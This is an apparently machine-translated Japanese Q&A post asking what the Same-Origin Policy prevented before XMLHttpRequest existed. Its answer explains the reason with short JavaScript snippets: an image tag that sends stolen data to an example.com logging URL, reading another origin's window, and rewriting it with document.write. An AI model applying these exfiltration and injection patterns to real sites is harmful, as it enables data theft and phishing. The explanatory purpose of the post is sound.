私が理解しているように、 Same-Originポリシー (SOP)は基本的に、Webページ内のスクリプトが別のドメインとの間で情報を取得または送信することを防ぎます。
これは、ページがプライベートデータを取得して別の場所に渡すのを防ぐために重要であることを理解しています。たとえば、SOPがなければ、次のようなスクリプトを含む公開Webページを作成できます。
XMLHttpRequest
(またはfetch()
)を使用してサーバーに送り返しますただし、SOPが導入されたとき(JavaScript 1.0、1995年のNetscape Navigator 2.0)、JavaScriptからリクエストを送信する方法がありませんでした。 XMLHttpRequestは、1999年3月にInternet Explorer 5.0でのみ導入され、さらにfetch()
が導入されました。
それで、リクエストを送信する方法なしにSOPはどのような攻撃を防いだのでしょうか?明らかに、SOPがないと、スクリプトはあらゆる種類の潜在的なプライベートデータを取得できますが、スクリプトにデータを渡す方法がない場合、リスクはどこにあるのでしょうか。
クライアント側JavaScriptガイドV1. (1999年以降、XMLHttpRequestの前)は次のように述べています。
JavaScriptは、あるサーバー上のスクリプトが別のサーバー上のドキュメントのプロパティにアクセスすることを自動的に防ぎます。この制限により、スクリプトは、ディレクトリ構造やユーザーセッション履歴などの個人情報を取得できなくなります。
ただし、スクリプトが情報を引き出す方法がない場合に「個人情報のフェッチ」が問題になる理由は説明されていません。
コンテンツをフェッチ(リモート)するさまざまな要素があるため、データの引き出しはそれほど難しくありません。
一例は画像です:
var img = document. createElement("img");
img.src = "http://example.com/log?message=" + exfiltrated_data;
var src = document.getElementById("somediv");
src.appendChild(img);
その他の手段として、CSS/JSファイルのフェッチなどがあります。
データの取得も簡単です。
var windowx = window.open("http://example.com/stealthis.html");
windowx.onload = function() {
// The SOP prevents this read for different origins:
console.log(windowx.document); // can be exfiltrated via image.
};
しかし、SOPは機密性だけでなく、完全性も重要です。流出コードがターゲットWebサイトに挿入される方法は、攻撃者が変更できるようになるため、すでに問題になります。ウェブサイトの表示:
var windowx = window.open("http://example.com/modifythis.html");
windowx.onload = function() {
console.log(windowx.document.write('this shouldn\'t be here'));
};
次に、これを使用してデータを引き出し(上記を参照)、フィッシングフォームを表示し、既存のフォームを傍受して、入力されたデータを攻撃者に送信したり、改ざんしたりすることができます。